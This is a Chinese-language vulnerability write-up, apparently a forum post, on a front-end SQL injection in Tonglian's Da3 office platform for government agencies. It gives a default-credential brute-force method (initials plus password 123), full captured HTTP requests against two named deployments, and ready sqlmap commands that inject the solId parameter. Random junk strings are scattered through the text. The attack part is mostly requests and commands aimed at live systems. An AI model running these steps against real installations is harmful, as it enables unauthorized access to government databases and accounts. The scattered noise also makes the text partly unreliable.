同联Da3协同办公平台前台通用sql injection漏洞

admin

G6 {9 P* v* ^- \# N" E

/ e8 w8 C" E) m$ W 平台简介： . G: M, v9 H5 z7 z9 j

_0 m0 Z" t. x7 }3 J) O) e  

$ b: d+ F) Z; V. _' c2 o: [1 B 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
3 _; \& K4 A0 d2 T同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

  7 O; |+ U$ s% }. w3 R- Y; m

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

4 B2 p- @! Q- R9 S

( X, t# u( p! g5 l  

& B' \4 [& E8 Z9 i

http://1.1.1.1:7197/cap-aco/#（案例2-）

* L$ h* H1 p+ B9 ]% F- J: O http://www.XXOO.com （案例1-官网网站） " |5 K9 Y Q; ]+ g4 l" @9 f; f1 d5 M

1 B) K% k, O3 r# l7 O* T6 g   ) |( y1 ^: }1 F* E- M$ Y; j

- j+ O$ Y0 z8 U+ v5 i4 } D6 N4 [" B

漏洞详情:

9 G | W5 U# \( e! Y% o6 f8 }

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 9 p- ^% }! K5 a8 Y# Z& Y' |6 |

% v7 M N8 h5 f4 m f# p, K! l) d+ o

$ D: ?* q5 G Q2 m/ D$ ~      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

% W6 X. H( f7 U7 T1 V m  

: m: H" c, y8 a6 v5 U6 ^  

, {6 z D; Y! h3 f v8 T status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下： ! f# o3 b9 I1 W( X" s

* b. }' x! S4 c+ j V/ r" Z0 Z

1、案例1-官方网站

+ q1 z1 k- m3 [2 t7 q6 V( i

% ^1 \4 }& M. Q GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1

( p5 Z9 z' I6 Y! }5 G+ T

Host: www.XXOO.com

! E8 W7 C7 N0 b" h/ }

+ I) T; L; J2 ~" d2 H Proxy-Connection: Keep-Alive % U. m/ q5 a) V. N/ F3 ?

) j; n- f0 p) I: o) |: n

Accept: application/json, text/javascript, */*; q=0.01 2 W1 ]/ `- e3 j& m! j

$ x }: r1 D5 D4 Y4 X7 L% i

Accept-Language: zh-CN

6 i8 F/ N- @; m+ l8 I

8 n! O5 b! X" b" S Content-Type: application/json - Z, @% i0 s& v7 h, k) |9 [

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko - ?' k0 ^, L I3 r- f

X-Requested-With: XMLHttpRequest

4 N. _8 S1 X8 r5 k' t& h( o+ U& D! \ Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 + ], r+ h* T$ B0 q" m

Accept-Encoding: gzip, deflate, sdch 8 `6 n8 c ~7 j; \9 c2 r$ s

. r* U5 M% n! ?+ u! h% q

Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e 6 X% B1 K. y9 Y7 l0 m! N+ M

0 _6 B" ~6 h o' C% _7 K$ \ 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: 4 s! T0 l" e6 S o$ H2 L. f9 g

 

 

1 J9 C& a8 d+ a' T( A

# M+ y( }+ A! Z/ ^; H   9 d8 Y: w6 s5 u- ^! j

  3 u' s% K) P# c% u0 s0 y

  + O% N9 W0 h# z/ v; O* m9 y/ u% O

2、案例2-某天河云平台 " J$ ]( M4 ], L6 X$ s

$ A! V/ Q2 b! P2 _' ]+ b) s6 o+ q GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1 ! ?! a( q( R2 @

Host: 1.1.1.:7197

$ D! `- P: O/ \# X, A% q

Accept: application/json, text/javascript, */*; q=0.01 + E- T# H: ?, L) V/ M7 T6 G% O

4 f _) w+ k F7 A' U X-Requested-With: XMLHttpRequest 3 ^" X$ u# p j- g( n

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0 # _: M4 Y% c- I

P" f! T3 a9 z) R$ g* M" C6 s

Content-Type: application/json

) @* b9 d# a4 }( c; T5 b- G) V

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008

Accept-Language: zh-CN,zh;q=0.8

& A2 b$ @- y% o) i

( Y r2 e0 q S/ q: r9 T B; ~7 ^* g Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 $ r: c6 {& a6 ]8 k* c, e7 |

7 a) f3 L* P2 e% y+ y* ~

, w" ~% L- K8 ^, l; s Connection: close 0 a' J" A7 L8 y

- j- ], d8 I& y, ]

+ e' [1 P# \ B 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: * ?* o! g% k+ y

) }+ r1 G3 [5 p3 r F$ T! v% D5 R- ~2 ^

) s B! s. ~' g$ ~" m8 t   4 f! |* @0 B9 R" t0 ^) f4 @

4 T9 a6 M" `5 i$ U7 ?7 E